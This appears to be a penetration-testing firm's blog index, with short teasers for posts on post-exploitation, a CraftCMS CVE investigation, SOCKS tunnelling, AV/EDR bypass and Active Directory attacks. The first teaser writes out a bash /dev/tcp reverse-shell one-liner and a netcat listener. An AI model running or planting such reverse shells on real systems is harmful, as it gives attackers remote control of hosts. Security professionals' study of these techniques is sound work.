Post Exploitation
No Egress, No Shell, No Problem
Context, context, context; Alright, imagine this – you’re on an engagement, find a few vulnerabilities, run a few exploits and next thing you know you have Remote Code Execution (RCE). Now, like muscle memory, your next instinct would be to get a shell. Running the following is fairly simple: sh -i >& /dev/tcp/10.0.0.22/4678 0>&1 Then listen in and… nc -lvnp 4678 ... Huh? Sorry, I mean run this, and… 0<&196;exec…
Investigating an in-the-wild campaign using RCE in CraftCMS
In mid-February, Orange Cyberdefense’s CSIRT was tasked with investigating a server that had been hosting a now-unavailable website. The site had been built using CraftCMS running version 4.12.8. The forensic investigation and post-analysis with the Ethical Hacking team led to the discovery of two CVEs: CVE-2024-58136 and CVE-2025-32432. This blog post aims to present: The investigation that led to the finding of those two CVEs, and details of the different…
Jumping into SOCKS
On a recent internal assessment, we ran into a problem. While holding low-privileged access to an internal Windows host, we realised the software on the host was communicating to a remote API endpoint over HTTPS. However, the remote endpoint was enforcing authentication using client SSL certificates. Normally, the above scenario is easily fixed by exporting the local client SSL certificate from the host and importing it into either Burp Suite…
Masquerading Windows processes like a DoubleAgent.
I’ve been spending some time building new content for our Introduction to Red Teaming course, which has been great for diving into AV/EDR bypass techniques again. In this blog post, I will demonstrate how to re-weaponise the old “DoubleAgent” technique, making endpoint security products do the hacking work for us. One known vector to shimmy past AV solutions is to use process injections. At BlackHat 2019, a number of process…
Bringing the hashes home with reGeorg & Empire
Is not a hack until you are 3 tunnels deep – Ian de Villiers External assessments. It’s about not only finding flaws but also looking at ways you can chain lower and medium-level vulnerabilities together, to be utterly devastating and gain full access. After situational awareness phase, pulling in all of my reconnaisance scans and input, I was left with typical results one might expect: missing patches here, little misconfiguration…
AutoDane at BSides Cape Town
Given the prevalence of Microsoft Active Directory domains as the primary means of managing large corporate networks both globally and in South Africa specifically; one of the common first goals of many internal penetration tests is to get Domain Administrator (DA) level access. To assist with this, a plethora of tools and techniques exist, from the initial “in” through to elevation of privilege and eventually extracting and cracking all domain…
Something about sudo, Kingcope and re-inventing the wheel
Willems and I are currently on an internal assessment and have popped a couple hundred (thousand?) RHEL machines, which was trivial since they are all imaged. Anyhoo – long story short, we have a user which is allowed to make use of sudo for a few commands, such as reboot and service. I immediately thought it would be nice to turn this into a local root somehow. Service seemed promising…
T-Shirt Shell Competition
For our internal hackathon, we wanted to produce some shirts. We ran a competition to see who could produce a reverse shell invocation most worthy of inclusion on a shirt. Here are the submissions, which may be instructive or useful. But first; the winning t-shirt design goes to Vlad (-islav, baby don’t hurt me, don’t hurt me, no more): Funny story; the printer left out the decimal points between the…
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